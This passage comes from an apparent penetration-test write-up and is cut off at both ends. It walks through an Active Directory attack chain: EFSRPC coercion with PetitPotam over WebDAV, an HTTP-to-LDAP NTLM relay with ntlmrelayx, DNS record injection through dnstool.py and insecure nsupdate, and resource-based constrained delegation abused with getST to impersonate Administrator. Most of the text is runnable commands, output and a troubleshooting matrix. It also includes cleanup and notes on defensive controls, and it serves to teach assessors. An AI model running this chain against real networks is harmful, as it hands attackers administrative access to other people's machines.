Next step. I queried the victim’s computer object:

ldapsearch -LLL \
  -H ldap://10.0.0.10 \
  -D 'audituser@CORP.LOCAL' \
  -W \
  -b 'DC=CORP,DC=LOCAL' \
  '(sAMAccountName=VICTIM01$)' \
  dNSHostName msDS-AdditionalDnsHostName

Sanitized output:

dn: CN=VICTIM01,OU=Workstations,DC=CORP,DC=LOCAL
dNSHostName: VICTIM01.CORP.LOCAL

The dNSHostName value showed that CORP.LOCAL was the correct suffix. I then asked DNS for the Start of Authority (SOA) and name servers (NS):

dig @10.0.0.10 CORP.LOCAL SOA +noall +comments +answer +authority
dig @10.0.0.10 CORP.LOCAL NS +short

Sanitized output:

CORP.LOCAL.  3600  IN  SOA  DC1.CORP.LOCAL. admin.CORP.LOCAL. <SERIAL> 900 600 86400 3600
DC1.CORP.LOCAL.
DC2.CORP.LOCAL.

The SOA and NS answers showed that the DCs were authoritative for CORP.LOCAL. The earlier noSuchObject now had a clear meaning: the zone was real, but it was not in DomainDnsZones.

This was the decision point for checking --forest and --legacy.

Stage 12: Determine whether the zone is normal, forest-wide, or legacy

Test. I searched all three AD DNS storage locations. I chose each flag by the zone’s DN, not by the age of the server.

Default: domain application partition

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --print-zones-dn \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Relevant output:

[-] Found domain DNS zones:
    DC=business.example,CN=MicrosoftDNS,DC=DomainDnsZones,DC=CORP,DC=LOCAL
    DC=RootDNSServers,CN=MicrosoftDNS,DC=DomainDnsZones,DC=CORP,DC=LOCAL

corp.local did not appear in that list.

This searches beneath:

CN=MicrosoftDNS,DC=DomainDnsZones,DC=CORP,DC=LOCAL

Use default mode when the desired zone DN appears under DomainDnsZones.

Forest-wide application partition

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --forest \
  --print-zones-dn \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Relevant output:

[-] Found forest DNS zones:
    DC=..TrustAnchors,CN=MicrosoftDNS,DC=ForestDnsZones,DC=CORP,DC=LOCAL

corp.local did not appear in that list either.

This searches beneath:

CN=MicrosoftDNS,DC=ForestDnsZones,DC=CORP,DC=LOCAL

Use --forest when the zone DN appears under ForestDnsZones.

Legacy domain partition

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --legacy \
  --print-zones-dn \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Relevant output:

[-] Found domain DNS zones:
    DC=corp.local,CN=MicrosoftDNS,CN=System,DC=CORP,DC=LOCAL
    DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=CORP,DC=LOCAL

This searches beneath:

CN=MicrosoftDNS,CN=System,DC=CORP,DC=LOCAL

Result. The domain zone appeared only in the legacy listing:

DC=corp.local,CN=MicrosoftDNS,CN=System,DC=CORP,DC=LOCAL

The table below maps the DN to the correct record-operation flag:

Discovery result Record-operation flag
Zone appears under DomainDnsZones No partition flag
Zone appears under ForestDnsZones --forest
Zone appears under CN=MicrosoftDNS,CN=System --legacy

Next step. I added --legacy to later operations against corp.local.

A --legacy -a query found the record object under CN=MicrosoftDNS,CN=System.

At this point, --legacy had fixed only the LDAP path. It had not yet produced a DNS answer or a usable listener name.

Do not choose --legacy because a server is old. Choose it only when the zone DN is under CN=MicrosoftDNS,CN=System.

Stage 13: --legacy finds the right LDAP path, but the DNS record still does not work

Test. I added the A record to the legacy partition:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --legacy \
  --zone corp.local \
  -r 'KALIHTTP.CORP.LOCAL' \
  -a add \
  -d 10.0.30.240 \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Sanitized add output:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Result. The add succeeded. A query found the LDAP object:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --legacy \
  --zone corp.local \
  -r 'KALIHTTP.CORP.LOCAL' \
  -a query \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Sanitized query output:

[+] Found record KALIHTTP
DC=KALIHTTP,DC=corp.local,CN=MicrosoftDNS,CN=System,DC=CORP,DC=LOCAL
[+] Record entry:
 - Type: 1 (A)
 - Address: 10.0.30.240

I then queried the active DNS service:

dig @10.0.0.10 KALIHTTP.CORP.LOCAL A +norecurse

Authoritative DNS returned:

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN
;; QUESTION SECTION:
;KALIHTTP.CORP.LOCAL.  IN  A

An LDAP dnsNode can exist even when the live DNS service does not publish it. LDAP success and DNS success are separate checks. This dnstool.py write did not produce the listener record used in the successful relay.

Next step. I waited through the DNS service’s AD polling interval. I watched the A record and the SOA serial.

dig @10.0.0.10 KALIHTTP.CORP.LOCAL A +norecurse
dig @10.0.0.10 CORP.LOCAL SOA +short

Sanitized output after the wait:

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN
DC1.CORP.LOCAL. admin.CORP.LOCAL. <NEWER-SOA-SERIAL> 900 600 86400 3600

The SOA serial moved past the injected record’s serial, but the A query still returned NXDOMAIN. More waiting would not fix this record. The DNS service had not added the LDAP-created node to its active view.

Stage 14: Use nsupdate to create the record that actually works

Test. I queried the running DNS service through DNS RPC:

samba-tool dns zoneinfo \
  10.0.0.10 \
  corp.local \
  -U 'CORP\audituser'

Result. The output included:

fAllowUpdate  : DNS_ZONE_UPDATE_UNSECURE
fUseDatabase : TRUE
dwDpFlags     : DNS_DP_LEGACY DNS_DP_ENLISTED
pwszZoneDn    : DC=corp.local,CN=MicrosoftDNS,CN=System,...

The live service used the same legacy AD-backed zone. It also accepted unauthenticated RFC 2136 dynamic updates. This was a separate finding and the reason the next command worked.

Next step. I used the DNS server’s update interface instead of adding another LDAP object. I chose a fresh label to avoid stale negative cache entries:

nsupdate -v
server 10.0.0.10
zone corp.local.
update add KALIWEB01.corp.local. 180 A 10.0.30.240
send
quit

nsupdate returned to the shell without an error. Unlike dnstool.py, it did not print a success message. The DNS queries below were the success check.

This was the DNS fix that enabled the final relay. The earlier --legacy work explained where the zone lived, but nsupdate created the record that the DNS service actually answered.

The new record resolved at once from both authoritative servers:

dig @10.0.0.10 KALIWEB01.CORP.LOCAL A +norecurse +short
dig @10.0.0.11 KALIWEB01.CORP.LOCAL A +norecurse +short

Expected from both:

10.0.30.240

Stage 15: Combine the confirmed EFSRPC pipe with the working short name

Test. I combined the two working parts:

  • -pipe efsr, because lsarpc had failed.
  • KALIWEB01, because the victim could now resolve that single-label name.
python3 /opt/PetitPotam/PetitPotam.py \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -d CORP.LOCAL \
  -pipe efsr \
  'KALIWEB01@80/test' \
  10.0.20.50

Result. PetitPotam printed:

Successfully bound!
Got expected ERROR_BAD_NETPATH exception!!
Attack worked!

The RPC call reached the expected error path. This message did not yet confirm an HTTP callback or relay.

Next step. I made no further trigger changes. I kept the relay and packet capture running so I could inspect the next steps.

The next capture showed traffic from the victim to port 80. ntlmrelayx then logged the machine account.

Stage 16: Capture the successful HTTP NTLM relay

Test. I captured only the victim-to-relay HTTP flow:

sudo tcpdump -ni eth0 -nn -s0 -A \
  'src host 10.0.20.50 and dst host 10.0.30.240 and dst port 80'

Sanitized packet excerpt:

10.0.20.50.<EPHEMERAL> > 10.0.30.240.80: Flags [S]
10.0.20.50.<EPHEMERAL> > 10.0.30.240.80: HTTP: OPTIONS /test/PIPE/srvsvc HTTP/1.1
10.0.20.50.<EPHEMERAL> > 10.0.30.240.80: HTTP: PROPFIND /test/PIPE/srvsvc HTTP/1.1

Result. The trigger produced WebDAV requests and a usable NTLM exchange. ntlmrelayx reported:

(HTTP): Connection from 10.0.20.50 controlled, attacking target ldap://10.0.0.10
(HTTP): Authenticating connection from CORP/VICTIM01$ against ldap://10.0.0.10 SUCCEED
Delegation rights modified successfully!
RBCDTEST01$ can now impersonate users on VICTIM01$ via S4U2Proxy

The victim machine account authenticated to LDAP through the relay. The LDAP action added RBCDTEST01$ to the RBCD security descriptor on VICTIM01$.

Next step. I stopped coercion and verified the directory state:

impacket-rbcd \
  -action read \
  -delegate-to 'VICTIM01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'

Sanitized output:

[*] Accounts allowed to act on behalf of other identity:
[*]     RBCDTEST01$  (S-1-5-21-<DOMAIN-SID>-<RID>)

The controlled account’s SID was present in msDS-AllowedToActOnBehalfOfOtherIdentity. The baseline had been empty.

Stage 17: Diagnose the Kerberos preauthentication failure

Test. I ran getST and entered a password for the controlled machine account.

impacket-getST \
  -spn 'cifs/VICTIM01.CORP.LOCAL' \
  -impersonate Administrator \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/RBCDTEST01$'

Result. The Key Distribution Center (KDC) returned:

Password:
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
KDC_ERR_PREAUTH_FAILED

The KDC rejected the machine account’s key before Service for User (S4U) could run. RBCD was not the cause. I had used the wrong password.

Next step. I selected a valid Ticket Granting Ticket (TGT) for RBCDTEST01$ from a credential cache, or ccache. I checked the cache first:

export KRB5CCNAME='/path/to/RBCDTEST01$.ccache'
klist

Sanitized klist output:

Default principal: RBCDTEST01$@CORP.LOCAL

Valid starting       Expires              Service principal
<TIME>               <TIME>               krbtgt/CORP.LOCAL@CORP.LOCAL

I told Impacket to use the cache and not prompt again:

impacket-getST \
  -k \
  -no-pass \
  -spn 'cifs/VICTIM01.CORP.LOCAL' \
  -impersonate Administrator \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/RBCDTEST01$'

Sanitized output:

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_VICTIM01.CORP.LOCAL@CORP.LOCAL.ccache

Impacket completed S4U2Self and S4U2Proxy. It saved an Administrator ticket for the Common Internet File System (CIFS) service on the victim.

If no machine ccache exists, use impacket-getTGT with the exact machine password. The reusable workflow shows that clean path.

Stage 18: Validate the impact with the Administrator ccache

Test. I exported the new service-ticket cache. I targeted the FQDN that matched its Service Principal Name (SPN).

export KRB5CCNAME='/path/to/Administrator@cifs_VICTIM01.CORP.LOCAL@CORP.LOCAL.ccache'

nxc smb VICTIM01.CORP.LOCAL \
  --use-kcache \
  --dns-server 10.0.0.10

Result. NetExec returned:

[+] CORP.LOCAL\Administrator from ccache (Local Admin)

The ticket gave Administrator access to the victim’s CIFS service. It was not a Domain Administrator TGT and did not apply to every service.

Next step. I stopped at authentication because that met the test goal. I did not dump credentials or run extra commands.

NetExec marked the cached identity as a local administrator on VICTIM01.

Stage 19: Clean up—and account for the troubleshooting artifacts

Test. I restored every object changed during the test. That included failed DNS records, not just the final working record.

Result. I hit three cleanup problems:

  1. The low-privileged user could not delete RBCDTEST01$.
  2. One DNS server kept returning KALIWEB01 after the first delete.
  3. My installed dnstool.py did not support the cleanup syntax I first tried.

The local tool rejected --hashes:

dnstool.py: error: unrecognized arguments: --hashes <LM:NTLM>

Another attempt omitted the required positional host:

dnstool.py: error: the following arguments are required: HOSTNAME

After I corrected the command shape, one bind still failed because the supplied credentials were wrong:

[!] Could not bind with specified credentials
[!] {'result': 49, 'description': 'invalidCredentials', 'message': 'AcceptSecurityContext error, data 52e'}

MAQ can let a user create a computer without granting delete rights. DNS state can differ between authoritative servers. LDAP error 52e means the supplied logon data was invalid; it does not show that the DNS object is protected.

Next step. I took these steps:

  1. I relayed the victim into an interactive LDAP shell and cleared RBCD because the baseline was empty.
  2. An authorized Domain Admin deleted RBCDTEST01$.
  3. I deleted KALIWEB01 through nsupdate. I sent a direct delete to the DNS server that still held it.
  4. I ran python3 /opt/krbrelayx/dnstool.py -h and followed the syntax shown by that installed build. It required the LDAP host as a positional argument. Its -p option accepted a password or an LM:NTLM value; it had no --hashes option.
  5. With valid authorized credentials, I removed the wrong-zone node and the legacy LDAP-only node created by dnstool.py.
  6. I removed both ccache files, unset KRB5CCNAME, and stopped each listener, shell, and capture.

The RBCD attribute was empty. LDAP no longer returned the machine account. Neither authoritative DNS server resolved the assessment names. No engagement ticket cache or listener remained.

Final verification excerpts:

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

# ldapsearch for RBCDTEST01$ returned no entry
# dig against 10.0.0.10 returned no A record
# dig against 10.0.0.11 returned no A record
# ss returned no assessment listener on ports 80, 445, or 11000

The detailed cleanup commands appear later in this article.

What RBCD actually is

RBCD lets a resource choose which account may impersonate users to its services. The resource is often a computer account. It stores the choice in a security descriptor, which is an access-control data structure.

The relevant Active Directory attribute is:

msDS-AllowedToActOnBehalfOfOtherIdentity

Microsoft introduced this attribute with Windows Server 2012. The KDC checks it when one account asks to act for another user to services on the target. See Microsoft’s MS-ADA2 attribute specification.

In the attack form used here:

  • VICTIM01$ is the computer whose AD object is modified.
  • RBCDTEST01$ is a machine account controlled by the tester.
  • The RBCD attribute on VICTIM01$ is updated so that RBCDTEST01$ may delegate to services belonging to VICTIM01$.
  • The tester authenticates as RBCDTEST01$. S4U2Self creates a ticket for the chosen user. S4U2Proxy then asks for a ticket to a service on VICTIM01$.
  • A CIFS ticket allows authentication to SMB as the impersonated identity, but only for the named CIFS SPN. It is not a reusable Domain Administrator TGT.

The main barrier is write access to the RBCD attribute. Here, the victim computer authenticated to my relay. I relayed that NTLM authentication to LDAP. The computer account could then change its own AD object. Impacket writes the security descriptor when --delegate-access is set. The behavior is in the Impacket LDAP attack source.

Why HTTP/WebDAV matters

The first relay attempt used a normal SMB coercion callback. The victim connected, but ntlmrelayx reported:

The client requested signing. Relaying to LDAP will not work!

This message does not mean coercion failed. It means the SMB client requested signing. The relay cannot move that exchange into its LDAP session.

WebClient offers another path. It implements Web Distributed Authoring and Versioning (WebDAV) over HTTP or HTTPS. A UNC-style path with @80 can send Windows to HTTP instead of SMB:

\\LISTENER@80\share

HTTP NTLM does not use SMB signing. An HTTP-to-LDAP relay can therefore work when the DC does not require LDAP signing. SpecterOps covers WebClient HTTP NTLM relay and EFSRPC coercion in Wait, Why is my WebClient Started?. Redfox also covers the attacker@80/share form in its WebClient abuse guide.

This distinction matters:

SMB callback to port 445
    -> may request signing
    -> relay to LDAP fails

WebDAV callback to port 80
    -> HTTP NTLM
    -> relay to unsigned LDAP can succeed

SMB signing is still an essential control, but enabling it does not by itself prevent an HTTP-to-LDAP relay path.

Prerequisites

Check these conditions before you expect the full chain to work.

Requirement 1: Authorized credentials capable of reaching the coercion interface

My low-privileged domain user could authenticate to SMB/RPC and call the EFSRPC method.

Requirement 2: A coercible target

At least one coercion method must be reachable. My target accepted EFSRPC over the efsrpc pipe. Another method may also work, but it must make the victim access a listener that you control.

Requirement 3: WebClient installed and running

WebClient must be active when coercion runs. NetExec’s webdav module checks for the DAV RPC Service pipe. That pipe shows that the service is running.

Requirement 4: NTLM fallback and automatic credential forwarding

The client must use NTLM for WebDAV. It must also send credentials to the listener without a prompt.

Requirement 5: A relayable LDAP endpoint

For ldap:// on port 389, the DC must accept an unsigned SASL bind. SASL is the authentication layer used for this LDAP logon. For ldaps://, channel binding is the key control. It ties the logon to the TLS session. Microsoft explains both controls in LDAP signing for Active Directory Domain Services.

Requirement 6: A controlled delegating principal

The relay needs an account whose SID can be added to the target’s RBCD descriptor. Common choices are:

  • A machine account created because ms-DS-MachineAccountQuota is greater than zero.
  • An existing computer or service account already controlled by the tester.
  • Another principal specifically authorized by the assessment scenario.

Requirement 7: Name resolution to the relay host

The victim must resolve the listener to the relay host. Use a single-label name such as KALIWEB01 for the WebDAV path. Do not use an IP address or dotted FQDN unless client policy is known to allow it.

Requirement 8: Network reachability

The victim must reach the relay on TCP/80. The relay must reach LDAP on the DC. Check routes, firewalls, network ACLs, and local port conflicts.

Requirement 9: Kerberos correctness after the relay

The post-relay S4U phase needs:

  • The correct password or key for the controlled machine account.
  • A service SPN that belongs to the RBCD target.
  • Correct DNS naming.
  • Acceptable clock synchronization with the KDC.

Lab notation

The examples below use these placeholders:

Purpose Example
Domain CORP.LOCAL
NetBIOS domain CORP
DC/DNS 1 10.0.0.10 / DC1.CORP.LOCAL
DC/DNS 2 10.0.0.11 / DC2.CORP.LOCAL
Victim 10.0.20.50 / VICTIM01.CORP.LOCAL
Relay host 10.0.30.240
Short listener KALIWEB01
Low-privileged user audituser
Controlled machine RBCDTEST01$

Replace each value with an in-scope value. Do not paste <...> into a shell. Zsh and other shells treat angle brackets as redirection.

Reusable workflow: 1. Enumerate the relay conditions

Inspect SMB and signing

nxc smb 10.0.20.50

Record the host, domain, SMB version, and signing state. Disabled SMB signing may expose other paths. It does not decide whether this HTTP-to-LDAP path works.

Confirm domain credentials and inspect LDAP posture

nxc ldap 10.0.0.10 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>'

NetExec’s LDAP banner showed that signing was not required.

Do not rely on one banner alone. Confirm relay behavior. Keep these controls separate:

  • LDAP signing on ldap://.
  • TLS availability on ldaps://.
  • LDAP channel binding enforcement for TLS-protected NTLM binds.

Microsoft lists events 2886–2889 for LDAP signing and 3039–3041 for channel binding in its LDAP signing guidance.

Check MachineAccountQuota

nxc ldap 10.0.0.10 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M maq

A value of 10 means that a normal user can often create up to ten computers. ACLs and other controls still apply. MAQ is not the RBCD flaw. It only supplies the controlled account used in this chain.

Check WebClient

nxc smb 10.0.20.50 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M webdav

Expected positive result:

WebClient Service enabled on: 10.0.20.50

This shows that the DAV RPC Service pipe is present. It does not show that the client can resolve the listener, select HTTP, or send NTLM.

Enumerate coercion methods

The NetExec module name uses an underscore:

nxc smb 10.0.20.50 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M coerce_plus

Reusable workflow: 2. Establish a controlled machine account

Create the machine account with a strong password used only for this test:

impacket-addcomputer \
  -computer-name 'RBCDTEST01$' \
  -computer-pass '<MACHINE_PASSWORD>' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'

Record these details:

  • Record the exact machine password securely.
  • Do not confuse it with the low-privileged user password later.
  • The trailing $ is part of the computer account’s sAMAccountName.
  • Capture the account SID for evidence and cleanup.

Record the target’s RBCD value before any change:

impacket-rbcd \
  -action read \
  -delegate-to 'VICTIM01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'

My baseline was empty. I could therefore clear the whole attribute during cleanup. If it contains a valid entry, restore the exact baseline instead.

Reusable workflow: 3. Solve the listener-name problem

The listener-name tests consumed most of my troubleshooting time.

Why an IP address is the wrong listener name

WinHTTP classifies destinations before it sends credentials. An IP address does not get the short intranet-name behavior needed here.

Why the first FQDN reached port 80 but sent no credentials

My first listener was a dotted FQDN. The victim reached TCP/80 and sent WebDAV methods:

OPTIONS /test/PIPE/srvsvc HTTP/1.1
PROPFIND /test/PIPE/srvsvc HTTP/1.1

ntlmrelayx logged the paths but no user or machine identity. Routing, WebClient, the HTTP server, and coercion all worked. Windows had not sent credentials.

Microsoft documents this rule. WebClient uses WinHTTP. By default, WinHTTP sends credentials only to local intranet sites. It treats a name with no dot as intranet. It treats a dotted FQDN as Internet. Proxy bypass rules or AuthForwardServerList can change that behavior. See Microsoft’s WebDAV FQDN credential guidance.

Therefore the coercion path should use:

KALIWEB01@80/test

not:

10.0.30.240@80/test
KALIWEB01.CORP.LOCAL@80/test

DNS may store KALIWEB01.CORP.LOCAL. The WebDAV path should still use the single label KALIWEB01.

Discover the victim’s real DNS suffix and authoritative zone

Do not assume that the AD logon domain, DNS suffix, and writable zone match. Query the victim’s computer object:

ldapsearch -LLL \
  -H ldap://10.0.0.10 \
  -D 'audituser@CORP.LOCAL' \
  -W \
  -b 'DC=CORP,DC=LOCAL' \
  '(sAMAccountName=VICTIM01$)' \
  dNSHostName msDS-AdditionalDnsHostName

Then identify the authoritative DNS servers:

dig @10.0.0.10 CORP.LOCAL SOA +noall +comments +answer +authority
dig @10.0.0.10 CORP.LOCAL NS +short

My first record used another business zone. It resolved, but it did not match the workstation’s suffix. It could not support the short WebDAV name.

Understand modern and legacy AD-integrated DNS storage

Modern AD-integrated zones are often stored in these application partitions:

DC=DomainDnsZones,DC=CORP,DC=LOCAL
DC=ForestDnsZones,DC=CORP,DC=LOCAL

Microsoft documents both locations in Active Directory-Integrated DNS Zones.

My domain zone was stored in the legacy location:

DC=corp.local,CN=MicrosoftDNS,CN=System,DC=CORP,DC=LOCAL

Default --print-zones-dn did not show it. I used:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --legacy \
  --print-zones-dn \
  -dns-ip 10.0.0.10 \
  10.0.0.10

In dnstool.py, --legacy selects CN=MicrosoftDNS,CN=System. Default mode selects DomainDnsZones. The krbrelayx source shows this behavior.

Why “LDAP operation completed successfully” was not enough

I created an A record as a dnsNode in the legacy partition. LDAP showed the object and address. Authoritative DNS still returned NXDOMAIN.

Treat the LDAP object and the live DNS answer as separate states:

LDAP object exists != active DNS server will answer for it

Windows DNS polls AD for changes. Microsoft lists a typical interval of 180 seconds in Set-DnsServerDsSetting.

I waited through a poll cycle. The live SOA serial moved past the record’s serial, but the name still returned NXDOMAIN. The live service had skipped the LDAP-created node. I stopped waiting.

Inspect the active zone through DNS RPC

samba-tool dns zoneinfo \
  10.0.0.10 \
  corp.local \
  -U 'CORP\audituser'

Look for these fields:

fAllowUpdate  : DNS_ZONE_UPDATE_UNSECURE
fUseDatabase : TRUE
dwDpFlags     : DNS_DP_LEGACY DNS_DP_ENLISTED
pwszZoneDn    : DC=corp.local,CN=MicrosoftDNS,CN=System,...

They show three facts:

  1. The active zone really was the legacy AD-backed zone.
  2. The DNS server used a directory-backed database rather than a zone file.
  3. The zone accepted insecure dynamic updates—a separate security finding.

Create the working record through RFC 2136

Use a new label to avoid a stale negative cache entry:

nsupdate -v

Enter:

server 10.0.0.10
zone corp.local.
update add KALIWEB01.corp.local. 180 A 10.0.30.240
send
quit

Verify against every authoritative DNS server, not just the one that accepted the update:

dig @10.0.0.10 KALIWEB01.CORP.LOCAL A +norecurse +short
dig @10.0.0.11 KALIWEB01.CORP.LOCAL A +norecurse +short

Check every authoritative server. AD replication and each server’s memory can differ for a time. During cleanup, one DC kept the record until I sent it a direct delete.

Why Responder was not the answer here

Responder can answer LLMNR or NBNS when those broadcasts reach the relay host. It did not fit this case. The victim and relay were on routed subnets, and these broadcasts do not normally cross a router.

If scope allows Responder, disable its SMB and HTTP servers so they do not conflict with ntlmrelayx. I used authoritative DNS because it worked across the routed network and gave repeatable results.

Reusable workflow: 4. Start the HTTP-only LDAP relay

sudo impacket-ntlmrelayx \
  -t ldap://10.0.0.10 \
  --delegate-access \
  --escalate-user 'RBCDTEST01$' \
  --no-smb-server \
  --no-dump \
  --no-da \
  --no-acl \
  --no-multirelay \
  -debug

These options keep the relay focused:

  • -t ldap://... selects the relay destination.
  • --delegate-access performs the RBCD update.
  • --escalate-user 'RBCDTEST01$' selects the already-controlled principal whose SID should be granted delegation rights.
  • --no-smb-server eliminates port 445 conflicts and makes the intended HTTP transport explicit.
  • --no-dump, --no-da, and --no-acl restrict unrelated LDAP attack actions.
  • --no-multirelay simplifies one-target behavior and logging.
  • -debug adds detail for evidence and troubleshooting.

Confirm the HTTP listener:

sudo ss -lntp '( sport = :80 )'

If another process owns port 80, stop and resolve the conflict before coercion.

Reusable workflow: 5. Capture traffic and coerce authentication

Use a precise capture filter

sudo tcpdump -ni eth0 -nn -s0 -A \
  'src host 10.0.20.50 and dst host 10.0.30.240 and (dst port 80 or dst port 445)'

Linux may warn that the any interface cannot use promiscuous mode. That is normal. Use the routed interface, such as eth0, for clearer traffic direction.

Select the working PetitPotam pipe

PetitPotam defaults to lsarpc. On my target, its EFSRPC bind failed with:

abstract_syntax_not_supported

The efsrpc pipe worked:

python3 /opt/PetitPotam/PetitPotam.py \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -d CORP.LOCAL \
  -pipe efsr \
  'KALIWEB01@80/test' \
  10.0.20.50

The original tool supports -pipe efsr; see the PetitPotam source.

Successful coercion-side output included:

Successfully bound!
Sending EfsRpcOpenFileRaw!
Got expected ERROR_BAD_NETPATH exception!!
Attack worked!

Attack worked! only means the RPC call reached the expected ERROR_BAD_NETPATH path. It does not show that:

  • The victim resolved the listener.
  • The victim reached port 80.
  • The victim sent an NTLM token.
  • The LDAP relay succeeded.

Use packet capture and relay output to confirm the later stages.

Reusable workflow: 6. Recognize success

The working short name produced WebDAV traffic and an authenticated relay:

(HTTP): Client requested path: /test/pipe/srvsvc
(HTTP): Connection from 10.0.20.50 controlled, attacking target ldap://10.0.0.10
(HTTP): Authenticating connection from CORP/VICTIM01$ against ldap://10.0.0.10 SUCCEED
Delegation rights modified successfully!
RBCDTEST01$ can now impersonate users on VICTIM01$ via S4U2Proxy

Verify the directory state independently:

impacket-rbcd \
  -action read \
  -delegate-to 'VICTIM01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'

Expected:

Accounts allowed to act on behalf of other identity:
    RBCDTEST01$ (S-1-5-21-...)

Reusable workflow: 7. Convert RBCD into a usable Kerberos ticket

Obtain a TGT for the controlled machine

unset KRB5CCNAME

impacket-getTGT \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/RBCDTEST01$'

Enter the machine password. Do not enter the low-privileged user’s password.

Export the generated TGT:

export KRB5CCNAME='/path/to/RBCDTEST01$.ccache'
klist

Request the CIFS ticket through S4U

impacket-getST \
  -k \
  -no-pass \
  -spn 'cifs/VICTIM01.CORP.LOCAL' \
  -impersonate Administrator \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/RBCDTEST01$'

Expected:

Impersonating Administrator
Requesting S4U2self
Requesting S4U2Proxy
Saving ticket in Administrator@cifs_VICTIM01.CORP.LOCAL@CORP.LOCAL.ccache

Export the service ticket:

export KRB5CCNAME='/path/to/Administrator@cifs_VICTIM01.CORP.LOCAL@CORP.LOCAL.ccache'
klist

Validate access with NetExec

Use the target FQDN. The cache holds a ticket for that CIFS SPN:

nxc smb VICTIM01.CORP.LOCAL \
  --use-kcache \
  --dns-server 10.0.0.10

Expected:

[+] CORP.LOCAL\Administrator from ccache (Local Admin)

NetExec shows the KRB5CCNAME and --use-kcache flow in its Kerberos usage guide.

If scope requires command execution, use a small proof:

nxc smb VICTIM01.CORP.LOCAL \
  --use-kcache \
  --dns-server 10.0.0.10 \
  -x 'whoami'

SMB admin authentication is often enough evidence. Do not dump credentials or run extra commands after you meet the test goal.

The troubleshooting matrix

Match the symptom to the failed gate.

Symptom What it actually means Next action
The client requested signing. Relaying to LDAP will not work Coercion reached the listener over SMB, but the captured SMB NTLM exchange requested signing Move to WebDAV/HTTP; confirm WebClient and use @80
WebClient Service enabled DAV RPC Service is present Continue, but still validate DNS, HTTP, and NTLM separately
PetitPotam abstract_syntax_not_supported on lsarpc EFSRPC interface is not exposed on that endpoint Try an authorized alternative pipe; -pipe efsr worked here
PetitPotam prints Attack worked!, but no callback appears The RPC method reached the expected error path; later stages failed Check DNS resolution, suffix expansion, routing, and TCP capture
Victim connects to port 445 instead of 80 WebDAV path was not honored or listener syntax was wrong Confirm LISTENER@80/share syntax and tool handling
FQDN produces OPTIONS/PROPFIND, but no authenticated relay WebClient and routing work; WinHTTP withheld credentials from a dotted name Use a resolvable single-label hostname
Short hostname produces no packets Victim did not resolve or suffix-expand the short name Verify the correct primary suffix and query every DNS server the victim may use
Zone DN is under DomainDnsZones The zone uses the domain application partition Use default dnstool.py mode with no partition flag
Zone DN is under ForestDnsZones The zone uses the forest application partition Use --forest for discovery and record operations
Zone DN is under CN=MicrosoftDNS,CN=System The zone uses legacy AD DNS storage Use --legacy for discovery and record operations
dnstool.py returns noSuchObject in DomainDnsZones The expected zone DN does not exist in the default partition Enumerate default, --forest, and --legacy; choose from the returned DN
LDAP DNS add succeeds, but authoritative DNS returns NXDOMAIN The directory object exists but is not in the active DNS view Wait one polling cycle, compare SOA/record serials, then query DNS RPC and use a supported update path
SOA advances beyond the injected record serial, but record is still absent Waiting is no longer a useful hypothesis Inspect samba-tool dns zoneinfo; use a fresh RFC 2136 update if permitted
One DC resolves the record and another does not Replication or per-server in-memory DNS state differs Query and, if authorized, update/delete on each authoritative DNS server
ntlmrelayx only logs requested paths HTTP reached the listener without a usable NTLM authentication exchange Inspect Authorization: NTLM; revisit name classification
KDC_ERR_PREAUTH_FAILED while obtaining the machine TGT Wrong machine-account password/key Use the exact password from account creation; do not enter the user password
CCache file is not found. Skipping... before Getting TGT Informational: no existing cache was found Let Impacket obtain a new TGT; focus on the subsequent result
NetExec cache authentication by IP fails Kerberos ticket SPN is hostname-based Target the exact FQDN and use a DNS server option or valid resolver configuration
LDAP bind returns data 52e Invalid credentials, username, domain, password, or hash format Validate credentials separately; an empty LM hash alone is not an NT hash
tcpdump warns that any has no promiscuous mode Normal behavior of the Linux cooked pseudo-interface Capture on the actual routed interface for clearer results

A practical decision tree

Did the coercion RPC bind and return the expected error?
|
+-- No -> wrong credentials, pipe, RPC exposure, or target
|
+-- Yes
    |
    +-- Does tcpdump show a callback?
        |
        +-- No -> listener-name resolution, suffix expansion, routing, or firewall
        |
        +-- Yes
            |
            +-- Destination port 445?
            |   |
            |   +-- Yes -> SMB path; signing may prevent relay
            |   +-- No
            |
            +-- Destination port 80?
                |
                +-- No -> unexpected transport or tool syntax
                +-- Yes
                    |
                    +-- OPTIONS/PROPFIND only, no NTLM?
